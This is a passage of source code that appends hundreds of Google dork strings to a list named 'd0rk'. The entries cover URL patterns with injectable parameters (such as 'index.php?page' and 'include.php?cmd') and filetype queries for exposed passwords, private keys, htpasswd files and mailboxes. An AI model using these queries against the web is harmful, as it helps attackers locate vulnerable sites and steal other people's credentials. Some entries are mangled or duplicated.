'filetypefp7fp7', 'filetypehpindexinurlhpicalendarsitesourceforge.net', 'filetypeincdbconn', 'filetypeincintextmysqlconnect', 'filetypeincmysqlconnectORmysqlpconnect', 'filetypeinfcapolicy.inf', 'filetypeinfsysprep', 'filetypeiniServUDaemon', 'filetypeiniflashFXP.ini', 'filetypeiniservu.ini', 'filetypeiniwcxftp', 'filetypeiniwsftppwd', 'filetypeldbadmin', 'filetypeliclicintextkey', 'filetypelogPHPParseerror|PHPWarning|PHPError', 'filetypelogSee`ipseccopyright', 'filetypelogaccess.logCVS', 'filetypelogcron.log', 'filetypelogintextConnectionManager2', 'filetypelogintextConnectionManager2�', 'filetypelogpassword.log', 'filetypelogusernameputtyPUTTYSSHclientlogscanrevealusernames', 'filetypemail|filetypeeml|filetypembox|filetypembxintextassword|subject', 'filetypemail|filetypeeml|filetypembox|filetypembxintextpassword|subject', 'filetypembxmbxintextSubject', 'filetypemdbprofilesMicrosoftAccessdatabasescontaininguser', 'filetypemdbusers.mdb', 'filetypemdbwwforum', 'filetypemydmydCVS', 'filetypenetrcpassword', 'filetypens1ns1', 'filetypeoraora', 'filetypeoratnsnames', 'filetypeotjohn.pot', 'filetypepasspassintextuserid', 'filetypepdbpdbbackupPilot|Pluckerdb', 'filetypepdfAssessmentReportnessus', 'filetypepemintextprivate', 'filetypephpindexphpicalendarsitesourceforge.net', 'filetypephpipinfo.phpDistributedIntrusionDetectionSystem', 'filetypephplogging.phpDiscuzerror', 'filetypephpnqtintextNetworkQueryTool', 'filetypephpvAuthenticate', 'filetypephpwebeditor.php', 'filetypeplDownloadSuSELinuxOpenexchangeServerCA', 'filetypeplUltraboardSetup', 'filetypepotjohn.pot', 'filetypepropertiesdbintextpassword', 'filetypepstoutlook.pst', 'filetypepstpstfromtodate', 'filetypepwdservice', 'filetypepwlpwl', 'filetypeqbbqbb', 'filetyper2wr2w', 'filetyperaora', 'filetyperaorafiletypedbpdbbackupPilot|Pluckerdb', 'filetyperdprdp', 'filetyperdprdpRemoteDesktopConnectionfilesrevealuser', 'filetyperegTerminalServerClient', 'filetyperegregHKEYCURRENTUSERSSHHOSTKEYS', 'filetyperegregHKEYWindowsRegistryexportscanreveal', 'filetyperegregintext?WINVNC3?', 'filetyperegregintextMicrosoftInternetAccountManagercan', 'filetyperegregintextdefaultusernameintextdefaultpassword', 'filetyperegregintext�?WINVNC3�?', 'filetypesqlIDENTIFIEDBYcvs', 'filetypesqlinsertintopass|passwd|password', 'filetypesqlpassword', 'filetypesqlvaluesMD5|valuespassword|valuesencrypt', 'filetypesqlvaluesMD5�|valuespassword|valuesencrypt', 'filetypestoutlook.pst', 'filetypestpstfromtodate', 'filetypeurlftp//;', 'filetypevcsvcs', 'filetypevsdvsdnetworksamplesexamples', 'filetypewabwab', 'filetypewabwabMicrosoftOutlookExpressMailaddress', 'filetypexlsemail.xls', 'filetypexlssitegovcontact', 'filetypexlsusernamepasswordemail', 'filezilla.xmlcvs', 'films.php?id', 'finalrevdisplay.php?id', 'finger', 'firmid', 'fitxa.php?id', 'folder.php?id', 'fonts/details.php?id', 'footer.inc.php', 'formmail.cgi', 'forum', 'forum.php?act', 'forum.php?seitephp?seite', 'forum/index.php?topic', 'forum/profile.asp?id', 'forum/profile.php?id' ] 
+d0rk += [ 'forum/showProfile.asp?id', 'forum/showProfile.php?id', 'forum/showthread.php?p', 'forum/showthread.php?t', 'forum/viewtopic.php?TopicID', 'forum/viewtopic.php?id', 'forum/viewtopic.php?t', 'forumapc/plantfinder/details.php?id', 'forumbds.php?num', 'forumfiletypemdb', 'forums/index.php?page', 'forums/index.php?topic', 'forums/search.php?do', 'forums/showthread.php?t', 'forwardfiletypeforwardcvs', 'fpcount.exe', 'fr/commandelistecategorie.asp?panier', 'fr/commandelistecategorie.php?panier', 'frag.php?execfrag.php', 'frag.php?execfrag.php?exec', 'frag.php?execphp?exec', 'frame.php?locphp?loc', 'franchise2.php?id', 'freeboard/boardview.html?page', 'freedownload.asp?bookid', 'freedownload.cfm?bookid', 'freedownload.php?bookid', 'freerelease.php?id', 'frf10/news.php?id', 'front/bin/forumview.phtml?bbcode', 'frontend/category.asp?idcategory', 'frontend/category.php?idcategory', 'fshstatistic/index.asp?PID', 'fshstatistic/index.php?&PID', 'fshstatistic/index.php?PID', 'ftp//www.eastgame.net', 'fullDisplay.asp?item', 'fullDisplay.cfm?item', 'fullDisplay.php?item', 'functions.php?prefix', 'galerie.asp?cid', 'galerie.php?cid', 'galerie.php?dophp?do', 'galeriinfo.php?l', 'gallery.asp?id', 'gallery.php?[]', 'gallery.php?abre', 'gallery.php?action', 'gallery.php?addr', 'gallery.php?basedir', 'gallery.php?basepath', 'gallery.php?chapter', 'gallery.php?cont', 'gallery.php?corpo', 'gallery.php?disp', 'gallery.php?ev', 'gallery.php?eval', 'gallery.php?filepath', 'gallery.php?get', 'gallery.php?go', 'gallery.php?h', 'gallery.php?id', 'gallery.php?index', 'gallery.php?itemnav', 'gallery.php?ki', 'gallery.php?left', 'gallery.php?loader', 'gallery.php?menu', 'gallery.php?menue', 'gallery.php?mid', 'gallery.php?mod', 'gallery.php?module', 'gallery.php?my', 'gallery.php?name', 'gallery.php?nivel', 'gallery.php?oldal', 'gallery.php?open', 'gallery.php?option', 'gallery.php?pag', 'gallery.php?page', 'gallery.php?pageweb', 'gallery.php?panel', 'gallery.php?param', 'gallery.php?pg', 'gallery.php?phpbbrootpath', 'gallery.php?pname', 'gallery.php?pollname', 'gallery.php?pre', 'gallery.php?pref', 'gallery.php?qry', 'gallery.php?redirect', 'gallery.php?ref', 'gallery.php?rub', 'gallery.php?sec', 'gallery.php?secao', 'gallery.php?seccion', 'gallery.php?seite', 'gallery.php?showpage', 'gallery.php?sivu', 'gallery.php?sp', 'gallery.php?strona', 'gallery.php?thispage', 'gallery.php?tipo', 'gallery.php?to', 'gallery.php?url', 'gallery.php?var', 'gallery.php?viewpage', 'gallery.php?where', 'gallery.php?xlink', 'gallery.php?y', 'gallery/categoria.php?idcat', 'gallery/detail.asp?ID', 'gallery/detail.php?ID', 'gallery/gallery.asp?id', 'gallery/gallery.php?id', 'gallery/mailmanager/subscribe.php?ID', 'gallerysort.asp?iid', 'gallerysort.php?iid', 'game.php?id', 'games.php?id', 'games/index.php?task', 'games/play.php?id', 'gardenequipment/FruitCage/product.asp?pr', 'gardenequipment/FruitCage/product.php?pr', 'gardenequipment/pestweedcontrol/product.asp?pr', 'gardenequipment/pestweedcontrol/product.php?pr', 'gb/comment.asp?gbid', 'gb/comment.php?gbid', 'general.asp?id', 'general.php?abre', 'general.php?addr', 'general.php?adresa', 'general.php?b', 'general.php?basedir', 'general.php?body', 'general.php?channel', 'general.php?chapter', 'general.php?choix', 'general.php?cmd', 'general.php?content', 'general.php?doshow', 'general.php?e', 'general.php?f', 'general.php?get', 'general.php?goto', 'general.php?header', 'general.php?id', 'general.php?inc', 'general.php?include', 'general.php?ir', 'general.php?itemnav', 'general.php?left', 'general.php?link', 'general.php?menu', 'general.php?menue', 'general.php?mid', 'general.php?middle', 'general.php?modo', 'general.php?module', 'general.php?my', 'general.php?name', 'general.php?nivel', 'general.php?opcion', 'general.php?p', 'general.php?page', 'general.php?pageweb', 'general.php?pollname', 'general.php?pr', 'general.php?pre', 'general.php?qry', 'general.php?read', 'general.php?redirect', 'general.php?ref', 'general.php?rub', 'general.php?secao', 'general.php?seccion', 'general.php?second', 'general.php?section', 'general.php?seite', 'general.php?sekce', 'general.php?sivu', 'general.php?strona', 'general.php?subject', 'general.php?texto', 'general.php?thispage', 'general.php?tipo', 'general.php?to', 'general.php?type', 'general.php?var', 'general.php?w', 'general.php?where', 'general.php?xlink', 'general/blogpost/?p', 'generatedbywwwstat', 'gery.php?', 'gery.php?[]', 'gery.php?abre', 'gery.php?action', 'gery.php?addr', 'gery.php?basedir', 'gery.php?basepath', 'gery.php?chapter', 'gery.php?cont', 'gery.php?corpo', 'gery.php?disp', 'gery.php?ev', 'gery.php?eval', 'gery.php?filepath', 'gery.php?get', 'gery.php?go', 'gery.php?h', 'gery.php?id', 'gery.php?index', 'gery.php?itemnav', 'gery.php?ki', 'gery.php?left', 'gery.php?loader', 'gery.php?menu', 'gery.php?menue', 'gery.php?mid', 'gery.php?mod', 'gery.php?module', 'gery.php?my', 'gery.php?name', 'gery.php?nivel', 'gery.php?oldal', 'gery.php?open', 'gery.php?option', 'gery.php?pag', 'gery.php?page', 'gery.php?pageweb', 'gery.php?panel', 'gery.php?param', 'gery.php?pg' ] 
+d0rk += [ 'gery.php?phpbbrootpath', 'gery.php?pname', 'gery.php?pollname', 'gery.php?pre', 'gery.php?pref', 'gery.php?qry', 'gery.php?redirect', 'gery.php?ref', 'gery.php?rub', 'gery.php?sec', 'gery.php?secao', 'gery.php?seccion', 'gery.php?seite', 'gery.php?showpage', 'gery.php?sivu', 'gery.php?sp', 'gery.php?strona', 'gery.php?thispage', 'gery.php?tipo', 'gery.php?to', 'gery.php?url', 'gery.php?var', 'gery.php?viewpage', 'gery.php?where', 'gery.php?xlink', 'gery.php?y', 'gery/init.php?HTTPPOSTVARS', 'getFile.cfm', 'getbook.asp?bookid', 'getbook.cfm?bookid', 'getbook.php?bookid', 'getdata', 'getmsg.htmlhotmail', 'giftDetail.asp?id', 'giftDetail.cfm?id', 'giftDetail.php?id', 'giftshop/product.php?proid', 'gig.asp?id', 'gig.php?id', 'glimpse', 'global.cgi', 'global.inc', 'global/product/product.asp?gubun', 'global/product/product.php?gubun', 'globalprojects.asp?cid', 'globalprojects.php?cid', 'glossary.php?termphp?term', 'gnatsweb.pl', 'gnu/?doc', 'goboard/front/boardview.asp?code', 'goboard/front/boardview.php?code', 'goodsdetail.asp?data', 'goodsdetail.php?data', 'goodsdetail.php?goodsIdx', 'googlekietu/hitjs.phpallkietu/hitjs.php', 'goto.php?areaid', 'grademade/index.php?page', 'gs/adminlogin.aspx', 'guestbook.cgi', 'guestbook.pl', 'h.php?file', 'h.php?page', 'h4kurd/showthread.php?tid', 'haccess.ctlVERYreliable', 'haccess.ctloneway', 'hall.php?file', 'hall.php?page', 'handler', 'handlinger.php?visphp?vis', 'head.php?', 'head.php?[]', 'head.php?abre', 'head.php?adresa', 'head.php?b', 'head.php?basedir', 'head.php?c', 'head.php?choix', 'head.php?cmd', 'head.php?content', 'head.php?corpo', 'head.php?d', 'head.php?dir', 'head.php?disp', 'head.php?ev', 'head.php?filepath', 'head.php?g', 'head.php?goto', 'head.php?inc', 'head.php?incl', 'head.php?include', 'head.php?index', 'head.php?ir', 'head.php?ki', 'head.php?lang', 'head.php?left', 'head.php?load', 'head.php?loader', 'head.php?loc', 'head.php?middle', 'head.php?middlePart', 'head.php?mod', 'head.php?modo', 'head.php?module', 'head.php?numero', 'head.php?oldal', 'head.php?opcion', 'head.php?pag', 'head.php?pageweb', 'head.php?play', 'head.php?pname', 'head.php?pollname', 'head.php?read', 'head.php?ref', 'head.php?rub', 'head.php?sec', 'head.php?sekce', 'head.php?sivu', 'head.php?start', 'head.php?str', 'head.php?strona', 'head.php?tipo', 'head.php?viewpage', 'head.php?where', 'head.php?y', 'header.php?systempath', 'hearstjournalism/pressrelease.php?id', 'hello.bat', 'help.asp?CartId', 'help.cfm?CartId', 'help.cgi', 'help.php?CartId', 'help.php?csspath', 'help/comview.html?code', 'historialeer.php?num', 'historical/stock.php?symbol', 'history/index.php?id', 'hm/inside.asp?id', 'hm/inside.php?id', 'holidays/dest/offers/offers.php?id', 'home', 'home.asp?cat', 'home.asp?id', 'home.cfm?id', 'home.php?a', 'home.php?acthome.php?act', 'home.php?action', 'home.php?addr', 'home.php?ahome.php?a', 'home.php?aphp?a', 'home.php?argphp?arg', 'home.php?basedir', 'home.php?basepath', 'home.php?body', 'home.php?cat', 'home.php?category', 'home.php?channel', 'home.php?chapter', 'home.php?choix', 'home.php?cmd', 'home.php?content', 'home.php?disp', 'home.php?doshow', 'home.php?e', 'home.php?ev', 'home.php?eval', 'home.php?funcphp?func', 'home.php?g', 'home.php?h', 'home.php?id', 'home.php?ihome.php?i', 'home.php?in', 'home.php?inchome.php?inc', 'home.php?include', 'home.php?index', 'home.php?ir', 'home.php?itemnav', 'home.php?k', 'home.php?link', 'home.php?lnphp?ln', 'home.php?loader', 'home.php?loc', 'home.php?ltrphp?ltr', 'home.php?menu', 'home.php?middle', 'home.php?middlePart', 'home.php?module', 'home.php?my', 'home.php?oldal', 'home.php?opcion', 'home.php?pa', 'home.php?pag/home.php?pagphp', 'home.php?page', 'home.php?pageweb', 'home.php?pagina', 'home.php?panel', 'home.php?path', 'home.php?play', 'home.php?pollname', 'home.php?pr', 'home.php?pre', 'home.php?qry', 'home.php?read', 'home.php?recipe', 'home.php?redirect', 'home.php?ref', 'home.php?rub', 'home.php?sec', 'home.php?secao', 'home.php?section', 'home.php?seite', 'home.php?sekce', 'home.php?showpage', 'home.php?sitphp?sit', 'home.php?sp', 'home.php?str', 'home.php?tablephp?table', 'home.php?thispage', 'home.php?tipo', 'home.php?w', 'home.php?where', 'home.php?x', 'home.php?z', 'home1.php?lnphp?ln', 'home2.php?lnphp?ln', 'homepage.php?sel', 'hostinginfo.php?id', 'hp/device/this.LCDispatcher', 'hpinfoPHPVersion', 'ht//Dightsearcherror', 'htgrep', 'htimage.exe', 'htm/itemcat.php?itemid', 'html', 'html/101artistInfo.php?id', 'html/affich.php?base', 'html/gallery.php?id', 'html/home/products/product.php?pid', 'html/print.asp?sid', 'html/print.php?sid', 'html/products.php?id', 'html/productscat.php?catid', 'html/projdetail.php?id', 'html/scoutnew.asp?prodid', 'html/scoutnew.php?prodid', 'htmlallowedguestbook', 'htmlpage.asp?id', 'htmlpage.php?id', 'htmlscript', 'htmltonuke.php?filnavn', 'htm|html|phpindexoflastmodifiedparentdirectorydescriptionsize.txt|.doc|.pdf', 'htpasswd', 'htpasswd/htgroup', 'htpasswd/htpasswd.bak', 'htpasswdfiletypehtpasswd', 'htsearch', 'http//wwwdomainname', 'humor.php?id', 'hwreviews.php?id', 'iCONECT4.1Login' ] 
+d0rk += [ 'iDevAffiliateadmindemo', 'iVISTA.Main.Page', 'iam/tabbedWithShowcase.php?pid', 'ibp.asp?ISBN', 'ibp.php?ISBN', 'id&intextWarningUnknown', 'id&intextWarningarraymerge', 'id&intextWarningfilesize', 'id&intextWarninggetimagesize', 'id&intextWarningilesize', 'id&intextWarningiswritable', 'id&intextWarningmysqlfetcharray', 'id&intextWarningmysqlfetchassoc', 'id&intextWarningmysqlnumrows', 'id&intextWarningmysqlquery', 'id&intextWarningmysqlresult', 'id&intextWarningpgexec', 'id&intextWarningpregmatch', 'id&intextWarningrequire', 'id&intextWarningsessionstart', 'idd', 'ideabox/include.php?gorumDir', 'idlechat/message.asp?id', 'idlechat/message.php?id', 'ids5web', 'ifgraphPagegeneratedatORThispagewasbuiltusingifgraph', 'ihm.php?p', 'iisadmin', 'iknow/content.asp?page', 'iknow/content.php?page', 'iletypelogcron.log', 'ilohamailintextVersion0.8.10', 'ilohamailintextVersion0.8.10�', 'im/im.cgi?p', 'im/im.cgi?pvote.pl?actionshow&id', 'image.php?imgimage.php?img', 'image.php?imgphp?img', 'imagemap.exe', 'images/evil.php?ownede107', 'img.php?locimg.php?loc', 'img.php?locphp?loc', 'impex/ImpExData.php?systempath', 'impex/ImpExData.php?systempathintextpoweredbyvbulletin', 'impex/ImpExData.php?systempathpoweredbyvbulletin', 'impex/ImpExData.php?systempathvbulletin', 'inc', 'inc.php?addr', 'inc.php?adresa', 'inc.php?basedir', 'inc.php?body', 'inc.php?c', 'inc.php?category', 'inc.php?doshow', 'inc.php?ev', 'inc.php?get', 'inc.php?i', 'inc.php?inc', 'inc.php?incl', 'inc.php?include', 'inc.php?incphp?inc', 'inc.php?j', 'inc.php?k', 'inc.php?ki', 'inc.php?left', 'inc.php?link', 'inc.php?m', 'inc.php?menu', 'inc.php?modo', 'inc.php?open', 'inc.php?pg', 'inc.php?rub', 'inc.php?showpage', 'inc.php?sivu', 'inc.php?start', 'inc.php?str', 'inc.php?to', 'inc.php?type', 'inc.php?y', 'inc.vpn3000concentrator', 'inc.vpn3000concentratorasterisk.management.portalwebaccess', 'inc/cmses/aedating4CMS.php?dir[inc]', 'inc/cmses/aedating4CMS.php?dir[inc]flashchatsitebrbpncom.php?bnrep', 'inc/cmses/aedatingCMS.php?dir[inc]', 'inc/cmses/aedatingCMS.php?dir[inc]flashchat', 'inc/functions.inc.php?config[pparootpath]', 'inc/functions.inc.php?config[pparootpath]IndexAlbumsindex.php', 'inc/functions.inc.php?config[pparootpath]IndexAlbumsindex.php/components/comcpg/cpg.php?mosConfigabsolutepathcomcpg[ScriptPath]/admin/index.php?oadmin/index.php;', 'inc/header.php/stepone.php?serverinc', 'inc/pipe.php?HCLpath', 'inc/session.php?sessionerror0&langinc', 'inc/steponetables.php?serverinc', 'incfile', 'incl', 'include.php?', 'include.php?[]', 'include.php?adresa', 'include.php?b', 'include.php?basepath', 'include.php?channel', 'include.php?chapter', 'include.php?cmd', 'include.php?cont', 'include.php?content', 'include.php?corpo', 'include.php?destino', 'include.php?dir', 'include.php?eval', 'include.php?filepath', 'include.php?go', 'include.php?goFile', 'include.php?gorumDir', 'include.php?goto', 'include.php?header', 'include.php?in', 'include.php?include', 'include.php?index', 'include.php?ir', 'include.php?ki', 'include.php?left', 'include.php?loader', 'include.php?loc', 'include.php?mid', 'include.php?middle', 'include.php?middlePart', 'include.php?module', 'include.php?my', 'include.php?name', 'include.php?nivel', 'include.php?numero', 'include.php?oldal', 'include.php?option', 'include.php?pag', 'include.php?pageweb', 'include.php?panel', 'include.php?path', 'include.php?phpbbrootpath', 'include.php?play', 'include.php?read', 'include.php?redirect', 'include.php?ref', 'include.php?sec', 'include.php?secao', 'include.php?seccion', 'include.php?second', 'include.php?sivu', 'include.php?tipo', 'include.php?to', 'include.php?u', 'include.php?url', 'include.php?w', 'include.php?x', 'include/editfunc.inc.php?NWCONFSYSTEM[serverpath]', 'include/editfunc.inc.php?NWCONFSYSTEM[serverpath]Newswriter', 'include/editfunc.inc.php?NWCONFSYSTEM[serverpath]site.gr', 'include/newvisitor', 'include/newvisitor.inc.php?lvcincludedir', 'include/newvisitoradd.asp?bookid', 'include/write.php?dir', 'includefile', 'includepath', 'includes/functions.php?phpbbrootpath', 'includes/header.php?systempath', 'includes/search.php?GlobalSettings[templatesDirectory]', 'includes/topten/displayreview.php?id', 'indepth/details.php?id', 'index.asp/en/component/pvm/?view', 'index.asp?ID', 'index.asp?action', 'index.asp?areaid', 'index.asp?book', 'index.asp?cPath', 'index.asp?cart', 'index.asp?cartID', 'index.asp?cat', 'index.asp?cid', 'index.asp?i', 'index.asp?lang', 'index.asp?modus', 'index.asp?news', 'index.asp?offs', 'index.asp?option', 'index.asp?page', 'index.asp?pageid', 'index.asp?pagina', 'index.asp?pgt', 'index.asp?pid', 'index.asp?section', 'index.asp?site', 'index.asp?t', 'index.asp?url', 'index.asp?w', 'index.cfm', 'index.cfm?ID', 'index.cfm?cart', 'index.cfm?cartID', 'index.html.bak', 'index.html~', 'index.jsp', 'index.of.bashhistoryUNIXbashshellhistoryrevealscommands', 'index.of.diz.nfolastmodified', 'index.of.etc', 'index.of.shhistoryUNIXshellhistoryrevealscommandstypedat', 'index.ofApacheserverat', 'index.ofadministrators.pwd', 'index.ofadminnews.aspconfigview.asp', 'index.ofcgiirc.config' ] 
+d0rk += [ 'index.ofcleanup.log', 'index.ofdead.letter', 'index.ofhaccess.ctl', 'index.ofinbox', 'index.ofinboxdbx', 'index.ofintextsecring.skr|secring.pgp|secring.bak', 'index.ofmaster.passwd', 'index.ofpasslist', 'index.ofpasswdpasswd.bak', 'index.ofpeople.lst', 'index.ofperform.inimIRCIRCinifilecanlistIRCusernamesand', 'index.oftrillian.ini', 'index.ofwsftp.ini', 'index.php.bak', 'index.php/en/component/pvm/?view', 'index.php3?actindex.php3?act', 'index.php3?actphp3?act', 'index.php3?filephp3?f', 'index.php3?filephp3?file', 'index.php3?idindex.php3?id', 'index.php3?iindex.php3?i', 'index.php3?langindex.php3?lang', 'index.php3?lindex.php3?l', 'index.php3?pageindex.php3?page', 'index.php3?pagindex.php3?pag', 'index.php3?pgindex.php3?pg', 'index.php3?pindex.php3?p', 'index.php3?pindex.php3?pag', 'index.php3?pindex.php3?page', 'index.php3?pindex.php3?pg', 'index.php3?sindex.php3?s', 'index.php3?sphp3?s', 'index.php4?langindex.php4?lang', 'index.php4?langphp4?lang', 'index.php5?langindex.php5?lang', 'index.php5?langphp5?lang', 'index.php?', 'index.php?Language', 'index.php?REQUEST&REQUEST%5boption%5dcomcontent&REQUEST%5bItemid%5d1&GLOBALS&mosConfigabsolutepath', 'index.php?RPPATH', 'index.php?RPPATHreviewpost', 'index.php?a', 'index.php?acao', 'index.php?acaoindex.php?acao', 'index.php?acaophp?acao', 'index.php?act', 'index.php?actindex.php?act', 'index.php?action', 'index.php?actionindex.php?action', 'index.php?actionphp?action', 'index.php?addr', 'index.php?adresa', 'index.php?aindex.php?a', 'index.php?aphp?a', 'index.php?areaid', 'index.php?argindex.php?arg', 'index.php?argphp?arg', 'index.php?arq', 'index.php?arqindex.php?arq', 'index.php?arqphp?arq', 'index.php?arquivo', 'index.php?arquivophp?arquivo', 'index.php?b', 'index.php?baindex.php?ba', 'index.php?basedir', 'index.php?basepath', 'index.php?basindex.php?bas', 'index.php?basphp?bas', 'index.php?bindex.php?b', 'index.php?body', 'index.php?bodyindex.php?body', 'index.php?book', 'index.php?c', 'index.php?cPath', 'index.php?cal', 'index.php?calindex.php?cal', 'index.php?calphp?cal', 'index.php?canal', 'index.php?cart', 'index.php?cartID', 'index.php?cat', 'index.php?catid', 'index.php?channel', 'index.php?chapter', 'index.php?cid', 'index.php?cindex.php?c', 'index.php?cmd', 'index.php?coment', 'index.php?commandindex.php?command', 'index.php?commandphp?command', 'index.php?configFile', 'index.php?cont', 'index.php?content', 'index.php?contentindex.php?content', 'index.php?contentphp?content', 'index.php?conteudo', 'index.php?cphp?c', 'index.php?d', 'index.php?d1php?d1', 'index.php?defindex.php?def', 'index.php?defphp?def', 'index.php?dept', 'index.php?dir', 'index.php?directfile', 'index.php?disp', 'index.php?do', 'index.php?doc', 'index.php?document', 'index.php?dokindex.php?dok', 'index.php?dokphp?dok', 'index.php?dsp', 'index.php?e', 'index.php?eindex.php?e', 'index.php?ev', 'index.php?execindex.php?exec', 'index.php?execphp?exec', 'index.php?f', 'index.php?f1php?f1', 'index.php?fPageindex.php?fPage', 'index.php?fPagephp?fPage', 'index.php?faseindex.php?fase', 'index.php?fasephp?fase', 'index.php?file', 'index.php?fileindex.php?file', 'index.php?filename', 'index.php?filepath', 'index.php?findex.php?f', 'index.php?fnindex.php?fn', 'index.php?fnphp?fn', 'index.php?fsetphp?fset', 'index.php?funcion', 'index.php?funcphp?func', 'index.php?functioncustom&customcustom', 'index.php?g', 'index.php?go', 'index.php?go1index.php?go1', 'index.php?goindex.php?go', 'index.php?gorumdir', 'index.php?goto', 'index.php?gotoindex.php?goto', 'index.php?gotophp?goto', 'index.php?h', 'index.php?hl', 'index.php?i', 'index.php?id&langindex.php?id', 'index.php?id&langphp?id', 'index.php?id1&langindex.php?i', 'index.php?id1&langindex.php?id', 'index.php?id1&langphp?id', 'index.php?idcat', 'index.php?idindex.php?id', 'index.php?inc', 'index.php?incl', 'index.php?include', 'index.php?incphp?inc', 'index.php?index', 'index.php?inhalt', 'index.php?ir', 'index.php?irphp?ir', 'index.php?j', 'index.php?k', 'index.php?kobr', 'index.php?l', 'index.php?lang&pageindex.php?lang', 'index.php?lang&pagephp?lang', 'index.php?lang', 'index.php?langc', 'index.php?langen&pageindex.php?lang', 'index.php?langen&pagephp?lang', 'index.php?langgr&file', 'index.php?langindex.php?lang', 'index.php?lg', 'index.php?lgindex.php?lg', 'index.php?link', 'index.php?list', 'index.php?lkphp?lk', 'index.php?ll', 'index.php?lng./../include/main.inc&GPATH', 'index.php?lngindex.php?lng', 'index.php?lnindex.php?ln', 'index.php?lnk', 'index.php?lnkindex.php?lnk', 'index.php?lnkphp?lnk', 'index.php?lnphp?ln', 'index.php?load', 'index.php?loc', 'index.php?locaindex.php?loca', 'index.php?locaphp?loca', 'index.php?ltrindex.php?ltr', 'index.php?ltrphp?ltr', 'index.php?lv1', 'index.php?m', 'index.php?main', 'index.php?mainphp?main', 'index.php?meio', 'index.php?meio.php', 'index.php?meioindex.php?meio', 'index.php?meiophp?meio', 'index.php?menu', 'index.php?menudeti&page', 'index.php?menudeti&pageindex.php?menudeti&page', 'index.php?mfindex.php?mf', 'index.php?mfphp?mf', 'index.php?mid', 'index.php?middle', 'index.php?middlePart' ] 
+d0rk += [ 'index.php?middleindex.php?middle', 'index.php?middlephp?middle', 'index.php?midindex.php?mid', 'index.php?midphp?mid', 'index.php?mindex.php?m', 'index.php?mnindex.php?mn', 'index.php?mnphp?mn', 'index.php?mode', 'index.php?modindex.php?mod', 'index.php?modo', 'index.php?modphp?mod', 'index.php?module', 'index.php?moduleewfilemanager', 'index.php?modus', 'index.php?mwa', 'index.php?n', 'index.php?newindex.php?new', 'index.php?news', 'index.php?newsindex.php?news', 'index.php?nic', 'index.php?o', 'index.php?offs', 'index.php?oldal', 'index.php?op', 'index.php?opcao', 'index.php?opcion', 'index.php?open', 'index.php?openfile', 'index.php?option', 'index.php?ort', 'index.php?p', 'index.php?p/index.php?pphp', 'index.php?pag', 'index.php?pag/index.php?pagphp', 'index.php?page&langindex.php?p', 'index.php?page&langindex.php?pag', 'index.php?page&langindex.php?page', 'index.php?page&langindex.php?pg', 'index.php?page&langphp?p', 'index.php?page&langphp?pag', 'index.php?page&langphp?page', 'index.php?page&langphp?pg', 'index.php?page', 'index.php?page/index.php?pagephp', 'index.php?page1index.php?page1', 'index.php?page1php?page1', 'index.php?pageNphp?pageN', 'index.php?pageid', 'index.php?pageindex.php?page', 'index.php?pagename', 'index.php?pagenamephpquiz', 'index.php?pagephp5?page', 'index.php?pagerindex.php?pager', 'index.php?pagerphp?pager', 'index.php?pageurl', 'index.php?pageurlindex.php?pageurl', 'index.php?pageurlindex.php?pageurlphp', 'index.php?pagina', 'index.php?pagina1index.php?pagina1', 'index.php?paginaindex.php?pagina', 'index.php?paginaindex.php?paginaphp', 'index.php?pagindex.php?pag', 'index.php?param', 'index.php?path', 'index.php?pg', 'index.php?pgID', 'index.php?pgindex.php?pg', 'index.php?pgt', 'index.php?pid', 'index.php?pilih', 'index.php?pindex.php?p', 'index.php?place', 'index.php?play', 'index.php?plugin', 'index.php?pname', 'index.php?pollname', 'index.php?pr', 'index.php?pre', 'index.php?pref', 'index.php?prefix', 'index.php?principal', 'index.php?prodphp?prod', 'index.php?prodphp?product', 'index.php?product', 'index.php?productphp?prod', 'index.php?productphp?product', 'index.php?q', 'index.php?r', 'index.php?rage', 'index.php?recipe', 'index.php?rindex.php?r', 'index.php?rootPATH', 'index.php?s', 'index.php?screen', 'index.php?sec', 'index.php?secao', 'index.php?secaoindex.php?secao', 'index.php?secaophp?secao', 'index.php?secindex.php?sec', 'index.php?section', 'index.php?seite', 'index.php?sekce', 'index.php?sel', 'index.php?selconfig.php?CCFG[PKGPATHDBSE]', 'index.php?selectindex.php?select', 'index.php?selectphp?select', 'index.php?server', 'index.php?setindex.php?set', 'index.php?setphp?set', 'index.php?sfindex.php?sf', 'index.php?show', 'index.php?showphp?show', 'index.php?showtopic', 'index.php?side', 'index.php?sindex.php?s', 'index.php?site', 'index.php?site1index.php?site1', 'index.php?siteindex.php?site', 'index.php?sitindex.php?sit', 'index.php?sitphp?sit', 'index.php?sivu', 'index.php?size', 'index.php?sortphp?sort', 'index.php?spageindex.php?spage', 'index.php?spagephp?spage', 'index.php?sphp?s', 'index.php?ssindex.php?ss', 'index.php?ssphp?ss', 'index.php?stindex.php?st', 'index.php?str', 'index.php?stranica', 'index.php?strona', 'index.php?sub', 'index.php?sub2', 'index.php?subindex.php?idindex.php?t', 'index.php?subindex.php?sub', 'index.php?subpageindex.php?subpage', 'index.php?subpagephp?subpage', 'index.php?subphp?sub', 'index.php?subpindex.php?subp', 'index.php?subpphp?subp', 'index.php?t', 'index.php?tableindex.php?table', 'index.php?tablephp?table', 'index.php?taskindex.php?task', 'index.php?taskphp?task', 'index.php?template', 'index.php?templateid', 'index.php?termphp?term', 'index.php?textfieldphp?textfield', 'index.php?theme', 'index.php?themeindex.php?theme', 'index.php?themephp?theme', 'index.php?tindex.php?t', 'index.php?tipo', 'index.php?to', 'index.php?topic', 'index.php?transindex.php?trans', 'index.php?transphp?trans', 'index.php?type', 'index.php?u', 'index.php?uadministrator/components/comlinkdirectory/toolbar.linkdirectory.html.php?mosConfigabsolutepath', 'index.php?url', 'index.php?v', 'index.php?var', 'index.php?var1index.php?var1', 'index.php?var2index.php?var2', 'index.php?varindex.php?va21', 'index.php?varindex.php?var', 'index.php?varindex.php?var1', 'index.php?varindex.php?var2', 'index.php?varindex.php?varphp', 'index.php?ver', 'index.php?verindex.php?ver', 'index.php?verphp?ver', 'index.php?view', 'index.php?vindex.php?v', 'index.php?visualizar', 'index.php?vpagina', 'index.php?w', 'index.php?wayindex.php?way', 'index.php?wayphp?way', 'index.php?where', 'index.php?wpageindex.php?wpage', 'index.php?wpagephp?wpage', 'index.php?x', 'index.php?xindex.php?modeindex.php?stranica', 'index.php?y', 'index.php?z', 'index.phpmain.php?x', 'index.php~', 'index/productinfo.php?id', 'index0.php?show', 'index1.php?', 'index1.php?OpenPage', 'index1.php?[]', 'index1.php?abre', 'index1.php?action', 'index1.php?adresa', 'index1.php?argphp?arg', 'index1.php?arqphp?arq', 'index1.php?b', 'index1.php?body', 